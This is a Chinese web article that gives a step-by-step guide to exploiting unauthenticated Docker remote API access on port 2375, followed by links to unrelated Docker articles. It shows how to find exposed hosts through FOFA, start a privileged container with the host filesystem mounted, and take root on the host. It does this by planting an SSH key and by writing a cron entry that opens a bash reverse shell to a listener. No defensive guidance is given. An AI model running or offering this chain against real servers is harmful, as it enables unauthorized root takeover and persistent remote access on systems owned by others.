Docker API 未授权访问漏洞问题解析

 更新时间:2023年03月30日 11:10:52   作者:vitara  
这篇文章主要介绍了Docker API 未授权访问漏洞问题解析,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

因为docker赋有远程的远程控制,docker开放了一个tcp端口2375,如果没有限制访问的话,攻击者就会通过这个端口来通过docker未授权来获取服务器权限。

docker api未授权访问漏洞

00x1 漏洞成因

因为docker赋有远程的远程控制,docker开放了一个tcp端口2375,如果没有限制访问的话,攻击者就会通过这个端口来通过docker未授权来获取服务器权限。

00x2 信息收集

FOFA中搜索port = 2375 && status_code = "404"

访问站点2375端口,显示

访问/info目录,查看版本信息

证明改站点存在docker未授权访问漏洞

00x3 漏洞利用

docker -H tcp://ip ps -a 查看容器
dokcer -H tcp:// images 查看镜像

为了获取宿主机的权限,我们需要把宿主机的根目录挂载到docker容器中

docker -H tcp://ip run -it  --privileged=true -v /:/mnt --entrypoint /bin/bash image-id

--privileged=true:使用该参数,container内的root拥有真正的root权限。

-v /:/mnt:将宿主机的根目录挂载到/mnt目录下

--entrypoint /bin/bash:指定镜像的默认入口命令,该入口命令会在启动容器时作为根命令执行,所有其他传入值作为该命令的参数,用法ENTRYPOINT command param1 param2

现在就拿到了root权限,利用方式有很多种

ssh连接

 ssh-keygen -t rsa        //生成一个ssh公钥
 cat /root/.ssh/id_rsa.pub       //查看生成的公钥
 echo "公钥内容" > /mnt/root/.ssh/authorized_keys   //写公钥
 ssh root@目标ip -i id_rsa    //ssh进行连接

写计划任务

nc -lvvp port 		//开启监听
echo "* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1" >  /mnt/var/spool/cron/root   	///反弹shell

到此这篇关于Docker API 未授权访问漏洞的文章就介绍到这了,更多相关Docker API 未授权漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • docker部署nginx下日志自动切割方法实现

    docker部署nginx下日志自动切割方法实现

    部署Nginx在Docker中时,其日志文件默认不会自动切割,与非Docker环境有所不同,本文介绍了三种日志切割方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2024-10-10
  • docker安装部署 onlyoffice的详细过程

    docker安装部署 onlyoffice的详细过程

    本文给大家分享docker安装部署 onlyoffice的详细过程,通过图文并茂实例相结合给大家分享安装Docker Desktop及如何进入BIOS设置CPU的虚拟化,感兴趣的朋友一起看看吧
    2021-06-06
  • Docker-compose搭建Redis集群(Sentinel)的实现

    Docker-compose搭建Redis集群(Sentinel)的实现

    本文主要介绍了Docker-compose搭建Redis集群(Sentinel)的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-07-07
  • Docker运行hello-world镜像失败或超时的问题

    Docker运行hello-world镜像失败或超时的问题

    在安装Docker并尝试运行hello-world时,可能会遇到超时问题,这通常是由于默认的镜像源访问速度慢造成的,解决这个问题的办法是更换镜像源,虽然许多人推荐使用阿里云的镜像源,对Docker hello-world超时问题感兴趣的朋友一起看看吧
    2024-09-09
  • Docker学习笔记之Weave实现跨主机容器互联

    Docker学习笔记之Weave实现跨主机容器互联

    这篇文章主要介绍了Docker学习笔记之Weave实现跨主机容器互联,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-04-04
  • Docker安装MySQL8的方法步骤

    Docker安装MySQL8的方法步骤

    本篇文章主要介绍了Docker安装MySQL8的方法步骤,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2018-06-06
  • 使用docker指令如何删除所有不再使用的镜像

    使用docker指令如何删除所有不再使用的镜像

    这篇文章主要介绍了使用docker指令如何删除所有不再使用的镜像问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2024-06-06
  • MySQL docker容器数据更新统计shell脚本代码方式

    MySQL docker容器数据更新统计shell脚本代码方式

    本文介绍了如何创建和配置一个脚本文件,使其能够每隔一小时执行一次,用于更新MySQL统计信息,脚本使用Docker来执行MySQL命令,并将结果保存到文件中,文章还强调了权限设置和配置定时任务的步骤
    2025-01-01
  • Docker删除已存在的镜像的实现

    Docker删除已存在的镜像的实现

    本文主要介绍了Docker删除已存在的镜像的实现,删除已存在的 Docker 镜像,可以使用 docker rmi 命令,下面就来详细的介绍一下使用步骤,感兴趣的可以了解一下
    2023-08-08
  • PIP安装docker-compose超时问题解决方案

    PIP安装docker-compose超时问题解决方案

    这篇文章主要介绍了PIP安装docker-compose超时问题解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-09-09

最新评论